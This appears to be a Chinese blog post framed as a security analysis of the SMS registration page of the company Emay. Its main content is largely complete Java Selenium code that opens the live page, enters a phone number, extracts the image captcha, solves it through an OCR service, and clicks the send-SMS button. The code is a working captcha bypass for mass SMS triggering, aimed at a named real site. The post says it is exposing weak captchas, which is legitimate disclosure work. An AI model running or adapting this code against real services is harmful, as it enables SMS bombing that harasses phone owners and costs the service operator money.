【亿美软通-注册/登录安全分析报告】

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞

    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 亿美软通PC 注册入口

简介:北京亿美软通科技有限公司(BEIJING EMAY SOFTCOM TECHNOLOGY LTD.)是具备国际水准的移动商务平台技术和应用方案提供商。自2001年成立以来,亿美软通始终致力于为国内外企业提供具备国际技术水准的移动商务平台及运营服务。目前,亿美软通已为超过50万家企业提供移动个性客服、移动高效管理等方面的各类移动商务产品和通讯服务,业务服务覆盖超过8亿手机用户。2014年,亿美软通全资并入A股上市公司深圳市银之杰科技股份有限公司(深证A股300085)。

二丶 安全分析:

采用传统的图形验证码方式,具体为6个数字英文,ocr 识别率在 95% 以上。

测试方法:

采用模拟器+OCR识别

1. 模拟器交互

bash 复制代码
	private static String INDEX_URL = "https://www.emay.cn/article964.html";

	private OcrClientModel ocrClientModel = new OcrClientModel("emay.cn");

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		RetEntity retEntity = new RetEntity();
		try {
			driver.get(INDEX_URL);
			Thread.sleep(1 * 1000);

			// 输入手机号
			WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.id("txtPhone"), 400);
			phoneElemet.sendKeys(phone);

			String name = "张三";
			// 输入姓名
			WebElement nameElemet = ChromeDriverManager.waitElement(driver, By.id("txtName"), 400);
			nameElemet.sendKeys(name);

			// 获取验证码
			byte[] imgByte = GetImage.callJsById(driver, "imgcodesrc");
			int len = (imgByte != null) ? imgByte.length : 0;

			// 调用 ddddOcr 识别图像验证码
			String imgCode = (len > 10) ? ocrClientModel.getImgCode(imgByte) : null;
			ocrClientModel.saveFile("Emay", imgCode, imgByte);
			if (imgCode == null || "".equals(imgCode)) {
				System.out.println("len=" + len + ",imgCode=" + imgCode);
				return null;
			}
			// 输入验证码
			WebElement imgCodeElemet = driver.findElement(By.id("verify"));
			imgCodeElemet.sendKeys(imgCode.toUpperCase());

			Thread.sleep(1000);
			// 点击发送验证码
			WebElement sendCodeElemet = driver.findElement(By.id("smsBtn"));
			sendCodeElemet.click();

			Thread.sleep(1000);
			StringBuffer alertSb = new StringBuffer();
			boolean isAlert = ChromeDriverManager.isAlertPresent(driver, alertSb);
			if (isAlert) {
				// System.out.println("imgCode=" + imgCode + "->" + alertSb);
				// return retEntity;
			}

			// 结果
			sendCodeElemet = driver.findElement(By.id("smsBtn"));
			String gtInfo = sendCodeElemet.getText();
			gtInfo = "59s后重新获取验证码";
			retEntity.setMsg("[imgCode:" + imgCode + "]->" + gtInfo);
			if (gtInfo.contains("后重新获取验证码")) {
				retEntity.setRet(0);
			} else {
				System.out.println("gtInfo=" + gtInfo);
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println("phone=" + phone + ",e=" + e.toString());
			for (StackTraceElement ele : e.getStackTrace()) {
				System.out.println(ele.toString());
			}
			return null;
		} finally {
			driver.manage().deleteAllCookies();
		}
	}
	

	

2. 获取图形验证码

bash 复制代码
public static byte[] callJsById(WebDriver driver, String id) {
		return callJsById(driver, id, null);
	}

	public static byte[] callJsById(WebDriver driver, String id, StringBuffer base64) {
		String js = "let c = document.createElement('canvas');let ctx = c.getContext('2d');";
		js += "let img = document.getElementById('" + id + "'); /*找到图片*/ ";
		js += "c.height=img.naturalHeight;c.width=img.naturalWidth;";
		js += "ctx.drawImage(img, 0, 0,img.naturalWidth, img.naturalHeight);";
		js += "let base64String = c.toDataURL();return base64String;";
		String src = ((JavascriptExecutor) driver).executeScript(js).toString();
		String base64Str = src.substring(src.indexOf(",") + 1);
		if (base64 != null) {
			base64.append(base64Str);
		}
		byte[] vBytes = (base64Str != null) ? imgStrToByte(base64Str) : null;
		return vBytes;
	}

3.图形验证码识别(OcrClientModel)

bash 复制代码
public String getImgCode(byte[] bigImage) {
		try {
			if (picUrl == null) {
				System.out.println("ddddUrl=" + picUrl);
				return null;
			}

			long time = (new Date()).getTime();
			HttpURLConnection con = null;
			String boundary = "----------" + String.valueOf(time);
			String boundarybytesString = "\r\n--" + boundary + "\r\n";
			OutputStream out = null;

			URL u = new URL(picUrl);

			con = (HttpURLConnection) u.openConnection();
			con.setRequestMethod("POST");
			con.setConnectTimeout(10000);
			con.setReadTimeout(10000);
			con.setDoOutput(true);
			con.setDoInput(true);
			con.setUseCaches(true);
			con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);

			out = con.getOutputStream();

			out.write(boundarybytesString.getBytes("UTF-8"));
			String paramString = "Content-Disposition: form-data; name=\"sp_code\"\r\n\r\n" + spCode;
			out.write(paramString.getBytes("UTF-8"));

			if (bigImage != null && bigImage.length > 0) {
				out.write(boundarybytesString.getBytes("UTF-8"));
				paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";
				paramString += "Content-Type: application/octet-stream\r\n\r\n";
				out.write(paramString.getBytes("UTF-8"));
				out.write(bigImage);
			}

			String tailer = "\r\n--" + boundary + "--\r\n";
			out.write(tailer.getBytes("UTF-8"));

			out.flush();
			out.close();

			StringBuffer buffer = new StringBuffer();
			BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
			String temp;
			while ((temp = br.readLine()) != null) {
				buffer.append(temp);
			}
			String ret = buffer.toString();
			if (ret.length() < 1) {
				System.out.println("picUrl=" + picUrl + " ret=" + buffer.toString());
			}
			return buffer.toString();
		} catch (Throwable e) {
			logger.error("picUrl=" + picUrl + ",e=" + e.toString());
			return null;
		}
	}

	public void saveFile(String factory, String imgCode, byte[] imgByte) {
		try {
			String basePath = ConstTable.codePath + factory + "/";
			File ocrFile = new File(basePath + imgCode + ".png");
			FileUtils.writeByteArrayToFile(ocrFile, imgByte);
		} catch (Exception e) {
			logger.error("saveFile() " + e.toString());
		}
	}

4. 图形OCR识别结果:

5. 测试返回结果:

三 丶测试报告 :

四丶结语

北京亿美软通科技有限公司(BEIJING EMAY SOFTCOM TECHNOLOGY LTD.)是具备国际水准的移动商务平台技术和应用方案提供商。自2001年成立以来,亿美软通始终致力于为国内外企业提供具备国际技术水准的移动商务平台及运营服务。目前,亿美软通已为超过50万家企业提供移动个性客服、移动高效管理等方面的各类移动商务产品和通讯服务,业务服务覆盖超过8亿手机用户。2014年,亿美软通全资并入A股上市公司深圳市银之杰科技股份有限公司(深证A股300085)。 技术实力应该不错,但采用的还是老一代的图形验证码已经落伍了, 用户体验一般,容易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响声誉。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。

比如:" 需求这么赶,当然是先实现功能啊 "," 业务量很小啦,系统就这么点人用,不怕的 " , " 我们怎么会被盯上呢,不可能的 "等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

相关推荐
网络研究院几秒前
Google 扩展 Chrome 安全和隐私功能
chrome·安全·浏览器·隐私·软件·权限·无密码
世界尽头与你1 分钟前
业务安全治理
安全·网络安全
不睡懒觉的橙2 分钟前
【医疗大数据】基于 B2B 的医疗保健系统中大数据信息管理的安全和隐私问题分析
大数据·安全·单例模式
世界尽头与你6 分钟前
邮件安全治理
安全·网络安全
就是现在6 分钟前
网络信息传输安全
网络·安全
kolaseen19 分钟前
tensorflow同步机制
人工智能·python·深度学习·机器学习·tensorflow
waterHBO23 分钟前
TensorFlow 笔记
人工智能·笔记·tensorflow
橙子小哥的代码世界25 分钟前
深度学习03-神经网络02-激活函数
人工智能·深度学习·神经网络
专家大圣34 分钟前
YOLOv10:深度剖析与应用前景展望
人工智能·yolo·目标跟踪